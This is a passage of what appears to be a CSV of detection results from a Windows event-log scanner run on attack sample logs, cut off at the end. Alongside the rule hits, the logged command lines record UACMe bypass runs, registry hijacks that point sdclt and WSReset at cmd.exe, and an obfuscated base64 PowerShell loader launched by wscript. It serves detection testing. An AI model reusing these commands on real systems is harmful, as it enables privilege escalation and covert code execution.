+09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:06.419 +09:00,MSEDGEWIN10,11,high,UAC Bypass Using .NET Code Profiler on MMC,,rules/sigma/file_event/sysmon_uac_bypass_dotnet_profiler.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:06.730 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\mmc.exe"" eventvwr.msc : Path: C:\Windows\System32\mmc.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 39",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:06.796 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 376 0000028064463A00 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:07.144 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\mmc.exe"" eventvwr.msc : Path: C:\Windows\System32\mmc.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 39",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:07.558 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\mmc.exe"" eventvwr.msc",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:07.558 +09:00,MSEDGEWIN10,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:16:30.389 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 41 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 00:16:30.389 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 00:16:31.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 342 00000280644BB040 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 00:16:31.779 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 00:16:31.779 +09:00,MSEDGEWIN10,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 16:26:33.984 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 43 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:33.984 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:34.302 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 342 0000028064468040 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:34.689 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 330 000002806444C490 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:35.182 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:35.182 +09:00,MSEDGEWIN10,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 17:56:16.228 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 45 c:\Windows\SysWOW64\notepad.exe : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:16.228 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:16.650 +09:00,MSEDGEWIN10,13,high,Shell Open Registry Keys Manipulation,,rules/sigma/registry_event/win_registry_shell_open_keys_manipulation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:16.967 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 294 0000028064421EA0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:18.321 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\ChangePk.exe"" : Path: C:\Windows\System32\changepk.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\slui.exe"" 0x03",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:18.321 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using ChangePK and SLUI,,rules/sigma/process_creation/win_uac_bypass_changepk_slui.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:20.446 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 444 00000280644250C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:20.937 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\SystemSettingsAdminFlows.exe"" EnterProductKey : Path: C:\Windows\System32\SystemSettingsAdminFlows.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\ImmersiveControlPanel\SystemSettings.exe"" -ServerName:microsoft.windows.immersivecontrolpanel",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:22.193 +09:00,MSEDGEWIN10,12,medium,Removal of Potential COM Hijacking Registry Keys,,rules/sigma/registry_event/sysmon_removal_com_hijacking_registry_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 18:10:28.612 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 53 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:28.612 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:28.807 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\Folder\shell\open\command /v ""DelegateExecute"" /t REG_SZ /d """" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:28.925 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\Folder\shell\open\command /v """" /t REG_SZ /d ""C:\Windows\system32\cmd.exe"" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:29.409 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdclt.exe"" : Path: C:\Windows\System32\sdclt.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 53",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:29.431 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 300 000002806445E5C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.395 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdclt.exe"" : Path: C:\Windows\System32\sdclt.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 53",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.395 +09:00,MSEDGEWIN10,1,medium,High Integrity Sdclt Process,,rules/sigma/process_creation/sysmon_high_integrity_sdclt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.752 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\control.exe"" /name Microsoft.BackupAndRestoreCenter : Path: C:\Windows\System32\control.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\sdclt.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.752 +09:00,MSEDGEWIN10,1,medium,Sdclt Child Processes,,rules/sigma/process_creation/sysmon_sdclt_child_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.972 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\control.exe"" /name Microsoft.BackupAndRestoreCenter",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:35.402 +09:00,MSEDGEWIN10,12,medium,Removal of Potential COM Hijacking Registry Keys,,rules/sigma/registry_event/sysmon_removal_com_hijacking_registry_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:33:57.582 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 55 c:\Windows\SysWOW64\notepad.exe : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:57.582 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.087 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\windows\system32\cmd.exe ""C:\Windows\system32\osk.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 55 c:\Windows\SysWOW64\notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.127 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: c:\Windows\SysWOW64\notepad.exe : Path: C:\Users\IEUser\AppData\Local\Temp\Fubuki.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 55 c:\Windows\SysWOW64\notepad.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.127 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.713 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\msconfig.exe"" -5 : Path: C:\Windows\System32\msconfig.exe : User: MSEDGEWIN10\IEUser : Parent Command: c:\Windows\SysWOW64\notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.774 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 322 000002806447A490 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:59.225 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\msconfig.exe"" -5 : Path: C:\Windows\System32\msconfig.exe : User: MSEDGEWIN10\IEUser : Parent Command: c:\Windows\SysWOW64\notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 19:16:29.676 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 56 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:29.676 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:31.175 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v ""DelegateExecute"" /t REG_SZ /d """" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:31.485 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v """" /t REG_SZ /d ""C:\Windows\system32\cmd.exe /c start C:\Windows\system32\cmd.exe"" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:31.949 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\WSReset.exe"" : Path: C:\Windows\System32\WSReset.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 56",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:32.001 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 312 000002806444CB40 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:32.438 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\WSReset.exe"" : Path: C:\Windows\System32\WSReset.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 56",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:32.438 +09:00,MSEDGEWIN10,1,high,UAC Bypass WSReset,,rules/sigma/process_creation/win_uac_bypass_wsreset.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:50.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c start C:\Windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\WSReset.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:50.009 +09:00,MSEDGEWIN10,1,high,Wsreset UAC Bypass,,rules/sigma/process_creation/win_wsreset_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:50.009 +09:00,MSEDGEWIN10,1,high,Bypass UAC via WSReset.exe,,rules/sigma/process_creation/win_uac_wsreset.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:50.455 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c start C:\Windows\system32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:55.299 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v """" /t REG_SZ /d ""C:\Windows\system32\cmd.exe /c start C:\Windows\system32\cmd.exe"" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:55.446 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v ""DelegateExecute"" /t REG_SZ /d ""{4ED3A719-CEA8-4BD9-910D-E252F997AFC2}"" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-05 18:39:30.697 +09:00,MSEDGEWIN10,4624,informational,Logon Type 9 - NewCredentials,User: IEUser : Workstation: - : IP Address: ::1 : Port: 0 : LogonID: 0x38f87e : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-9-NewInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Invoke_TokenDuplication_UAC_Bypass4624.evtx +2019-08-05 18:39:30.697 +09:00,MSEDGEWIN10,4624,medium,Pass the Hash Activity 2,,rules/sigma/builtin/security/win_pass_the_hash_2.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Invoke_TokenDuplication_UAC_Bypass4624.evtx +2019-08-05 18:39:30.697 +09:00,MSEDGEWIN10,4624,high,Successful Overpass the Hash Attempt,,rules/sigma/builtin/security/win_overpass_the_hash.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Invoke_TokenDuplication_UAC_Bypass4624.evtx +2019-08-14 20:53:29.688 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\explorer.exe"" shell:::{769f9427-3cc6-4b62-be14-2a705115b7ab} : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.010 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.022 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""c:\windows\system32\wscript.exe"" /E:vbs c:\windows\temp\icon.ico ""powershell -exec bypass -c """"IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFhYPUlFWCgoJ1snICsgW2NoYXJdMHg1MyArICd5c3RlbS5UZXh0LkVuYycgKyBbY2hhcl0weDZmICsgJ2RpbmddOjpBJyArIFtjaGFyXTB4NTMgKyAnQ0lJLkdldCcgKyBbY2hhcl0weDUzICsgJ3RyaW5nKFsnICsgW2NoYXJdMHg1MyArICd5c3RlbS5DJyArIFtjaGFyXTB4NmYgKyAnbnZlcnRdOjpGcicgKyBbY2hhcl0weDZmICsgJ21CYXNlNicgKyBbY2hhcl0weDM0ICsgJycgKyBbY2hhcl0weDUzICsgJ3RyaW5nKChnZXQtYycgKyBbY2hhcl0weDZmICsgJ250ZW50IC1wYXRoICcnYzpcd2luZCcgKyBbY2hhcl0weDZmICsgJ3dzXHRlbXBccGljdHVyZS5qcGcnJykpKScpKTskQkI9SUVYKCgnc3RhcnQtc2xlZXAgMTA7JHM9JFhYOyRkID0gQCgpOyR2ID0gMDskYyA9IDA7d2hpbGUoJGMgLW5lICRzLmxlbmd0aCl7JHY9KCR2KjUyKSsoW0ludDMyXVtjaGFyXSRzWyRjXS0nICsgW2NoYXJdMHgzNCArICcwKTtpZigoKCRjKzEpJTMpIC1lcSAwKXt3aGlsZSgkdiAtbmUgMCl7JHZ2PSR2JTI1NjtpZigkdnYgLWd0IDApeyRkKz1bY2hhcl1bSW50MzJdJHZ2fSR2PVtJbnQzMl0oJHYvMjU2KX19JGMrPTE7fTtbYXJyYXldOjpSZXZlcnNlKCRkKTtJRVgoWycgKyBbY2hhcl0weDUzICsgJ3RyaW5nXTo6SicgKyBbY2hhcl0weDZmICsgJ2luKCcnJycsJGQpKTs7JykpO0lFWCgkQkIp')))"""""" : Path: C:\Windows\System32\wscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.022 +09:00,MSEDGEWIN10,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.022 +09:00,MSEDGEWIN10,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.022 +09:00,MSEDGEWIN10,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 21:17:14.614 +09:00,MSEDGEWIN10,1,informational,Process 